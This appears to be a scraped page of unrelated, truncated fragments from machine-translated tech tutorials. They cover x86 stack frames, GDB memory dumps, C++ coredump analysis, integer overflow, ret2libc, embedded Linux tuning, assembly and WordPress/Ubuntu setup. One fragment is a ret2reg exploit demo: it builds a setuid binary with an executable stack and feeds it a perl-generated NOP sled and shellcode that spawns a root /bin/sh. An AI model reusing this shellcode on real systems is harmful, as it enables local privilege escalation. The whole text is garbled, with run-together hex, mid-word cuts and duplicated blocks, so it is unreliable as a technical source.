x86 sbc

stack of seven =ebp4,esp down 6→7,ebp Move Down 4→74: Variable addressing, eax=65:eax=eax+32=386: Out of the stack ebp up 7→4,esp move Up 7→67:esp Move Up 6→5,EIP (15)15: Perform Leave,esp up 5→4,ebp move up 4→1,esp and move up 4→316:esp Move Up 3→2,eip (23)23:eax=eax+1=3924: Perform leave,esp up 2→1,ebp move up 1→0,esp and move up 1→025:ret, EndIt can be seen that the stack is executed as follows, and finally passed from the stack to the stack, the value of EAX is 39 one = Ebp0

*000017FC r_386_32 _zti21xuzhina_dump_c6_s3_ex00001800 r_386_32 _zn21xuzhina_dump_c6_s3_ex8parseval EPc00001804 r_386_32 _zn21xuzhina_dump_c6_s3_ex6encodeepc00001808 r_386_32 _ztvn10__cxxabiv117__class_ty pe_infoe0000180c r_386_32 _zts21xuzhina_dump_c6_s3_ex00001908 r_386_glob_dat __gmon_start__0000190c R_386_GLOB _dat _jv_registerclasses00001910 r_386_glob_dat _itm_deregistertmclonetable00001914 R_386_GLOB_DAT _ITM_registerT MCloneTable00001918 r_386_glob_dat __cxa_finalize00001928 r_386_jump_s

buffer array, then the contents of the buffer array will start executing. We just fill in the buffer array into the shellcode we want to perform, and the attack is perfect.Deductive attackGcc-z execstack-o vulnerableret2reg vulnerableret2reg.cchmod u+s vulnerableret2regsu test./vulnerableret2reg ' perl-e ' Print "\x90" X16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\ x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x

the subclass is arranged in the order of inheritance, independent of the Declaration/definition order of the base class.4. When a subclass object pointer is converted to a base class pointer, it is actually assigned to the base class pointer to the corresponding base class "implied object" address of the object class.For multiple inheritance with common base classes, you can also explore them in the same way. For base classes and subclasses with the same name virtual function, you can also expl

value of ECX is 0. The value of ECX is derived from eax, while the value of EAX is derived from ebp+0xc. Because the this pointer is placed on the ebp+0x8, ebp+0xc places the first argument.by Bits/stl_list.h:void Hook (_list_node_base * const __position);It is __position that the value of _prev is 0. So where did __position come from?Based on the functions in the stack and stl_list.h: void _m_insert (iterator __position, const value_type __x) { _node* __tmp = _m_creat

+0x1c0xbffff2bc:0x080485680x000000000x0804c0080x0804c0480xbffff2cc:0 x0804c0280x000000030x000000050x00000008 (GDB) x/8x 0x0804c0080x804c008:0 x000000010xbffff2c00x0804c0480x0804c0280x804c018:0x000000050x000000060x000000000x00000021 (GDB) x/8x 0x0804c0480x804c048:0x000000000x0804c0080x000000000x000000000x804c058:0x000000020x000000500x000000000x00020fa1 (GDB) x/8x 0x0804c0280x804c028:0x000000000x0804c0080x000000000x000000000x804c038:0 x000000080x000000140x000000000x00000021The graph indicates the

What is an Integer Overflow? Storing a value greater than maximum supported value is called integer overflow. Integer overflow on its own doesnt leads to arbitrary code execution, but an integer overflow might leads to stack overflow or heap overflow which could result in arbitrary code execution.Data types Size and its range: datatype size unsigned_range signed_range char 1 0 to 255 -128 to 127 short 2 0 to 65535 -32768 to 32767 int 4 0 to 4294967296-2147

corresponding libc function to be invoked How a leave RET instruction invokes a libc function above it? To know the answer for the above question, first we need to know about "leave". A "Leave" instruction translates to:mov ebp,esp //esp = Ebppop ebp //ebp = *espproblem 2: In We case Seteuid_arg should is zero. But since zero being a bad character, how to write the zero at stack address 0xbffff210? There is a simple solution to it, which are discussed b

, adjust the flash clock(5) Using non-compressed cores(6) Turn off the serial print output(7) XIP Technology (EXecute in place)Kernel XIP: Run the kernel directly in Flash/rom, or use a non-compressed kernel vmlinux must be faster than Zimage, uimageFile system Xip: For example, Cramfs file system, only use the portion of the read into RAM, than JIFFS2 save time(8) graphical interface system using direct write Framebuff, without c++/qt GUIFive Memory optimization Methods(1) Physical memory is no

0X080486B8 command address break point, verify that the set features are not right.(gdb) x/8wx $ebp -0x540xbffff234:0xbffff2700x000000000x0804b0080x0804b0200xbffff244:0 x0804b0380x000000030x0804b0080xbffff201 (GDB) x/8wx 0x0804b0080x804b008:0 x000000010xbffff2380x0804b0200x0804b0380x804b018:0x000005230x000000190x000000000x0804b008 (GDB) x/8x 0x0804b0200x804b020:0x000000000x0804b0080x000000000x000000000x804b030:0x000003520x000000190x000000000x0804b008 (GDB) X/8wx 0x0804b0380x804b038:0x000000000x

features are not right.(gdb) x/8wx $ebp -0x540xbffff234:0xbffff2700x000000000x0804b0080x0804b0200xbffff244:0 x0804b0380x000000030x0804b0080xbffff201 (GDB) x/8wx 0x0804b0080x804b008:0 x000000010xbffff2380x0804b0200x0804b0380x804b018:0x000005230x000000190x000000000x0804b008 (GDB) x/8x 0x0804b0200x804b020:0x000000000x0804b0080x000000000x000000000x804b030:0x000003520x000000190x000000000x0804b008 (GDB) X/8wx 0x0804b0380x804b038:0x000000000x0804b0080x000000000x000000000x804b048:0 x000008080x00020fb90

In front of a vectorcoredump example, contact with the vector iterator, you can know that the vector iterator only one member _m_current point to a vector element.Let's look at an example:1 #include Because it is only to examine iterator, only see Getsum's assembly:(GDB) disassemble getsumdump of assembler code for function _Z6GETSUMRST6VECTORIISAIIEE:0X080486CD At the 0x0804874b break point. By the above assembly, ITER's this pointer is ebp-0x18, and the VEC's this pointer is placed in ebp+0x8.

and a C program example that uses the function, the function receives two integer input parameters, asks for them, and then returns the result to the EAX register:# Add.s.type Add, @function. Globl addadd: pushl%ebp # Because the function does not affect Ebx,edi, ESI registers, the start and end do not contain them. movl%esp,%EBP movl 8 (%EBP),%eax addl (%EBP),%eax movl%ebp,%esp popl%ebp retC File:Include The make and execution results output are as follows:$ makecc-

+ + will not find the relevant header file when compiling the C + + program. # Add Intel C++ Compiler Include Path export CPLUS_INCLUDE_PATH="$CPLUS_INCLUDE_PATH:/usr/include/c++/4.8:/usr/include/x86_64-linux-gnu/c++/4.8" save restart, console input export to see if the environment variable was added successfully. ? Install Qtcreator as IDE: QtcreatorThe ability to quickly switch between different compilers is very convenient, do not install the source ve

Download the WordPress program(entered TMP catalog) cd/tmpCurl-o https://wordpress.org/latest.tar.gz"Notes" above connected to the latest version of WordPress downloadVer 471 "Curl-o https://wordpress.org/wordpress-4.7.1.tar.gz"The installed installation will relieve the pressureTar xzvf latest.tar.gzTar xzvf wordpress-4.7.1.tar.gz (below is the decompression complete)Create a. htaccess fileTouch/tmp/wordpress/.htaccesschmod 660/tmp/wordpress/.htaccessTo create a setup file:cp/tmp/wordpress/wp-c

Install language as "English""English Keyboard"Please select "Hong Kong Hongkong" in the area.Set up "computer system name", for example: WpsrvSet the username, for example: UserSet the password for the user name, for example: [email protected]Select "No", do not "encrypt the main catalogue"Open the Hard disc "Lvm=logical Volume Manager"Skip Internet "Agent"No "Auto update Service"Select "LAMP and OPenSSH SRV"Setup MySQL "password", e.g. [email protected]Select "Grub Machine Manager"Installation

Login srvbr/> input username: User; password:[email protected]Login Root (Super Admin)Input: sudo su; Enter password:[email protected]Input: ifconfig (search for SRV IP Address) (yellow color)Open the System browser and enter the IP address aboveNormally you'll see the Apache2 page.Install XSHELL5 free program "command to access Ubuntu" on Windows1234New dialog boxEnter "Name" and select "SSH" protocol,"Main machine, IP_Address", "Port No. 22"Enter "User name" and "password""Accept and save"Norm

find its corresponding shared library. as a general practice, create a separate directory for your application and add the directory to the file ld.so.conf. So just add the directory of the shared library files you want to find in the ld.so.conf file. You can follow the example above, place the path in A. conf file in the/etc/ld.so.conf.d/directory, and then update the file Ld.so.cache with the Ldconfig command. Finally, run the program as follows: #./target_binthe Add () return is 2700.The Add

that is obviously 0, and to calculate how many characters are found in 0. The following example:# scas.s.section. datastring: . Asciz "This was a test string!\n" . Section. Text.globl _start_start: NOP Leal string,%edi #将要用于查找的字符串的内存地址加载到edi寄存器中 movl $0xffff,%ecx #0xffff表明这个程序只能用于长度最大为65535的字符串 Movb $,%al #将要搜索的字符加载到al寄存器中 cld repne scasb #使用repne指令扫描字符串, get search location jne notfound # If not found

execution are as follows:$ as-o hello.o hello.s$ ld-o Hello hello.o $./hello Hello world!$system calls under Linux are implemented by means of interrupts (int 0x80). When the int 0X80 instruction is executed, the system call number is stored in the register eax, and the parameters passed to the system call must be placed in the Register Ebx,ecx,edx,esi,edi in order, and when the system call is complete, the return value can be obtained in the register EAX. The function call that corresponds to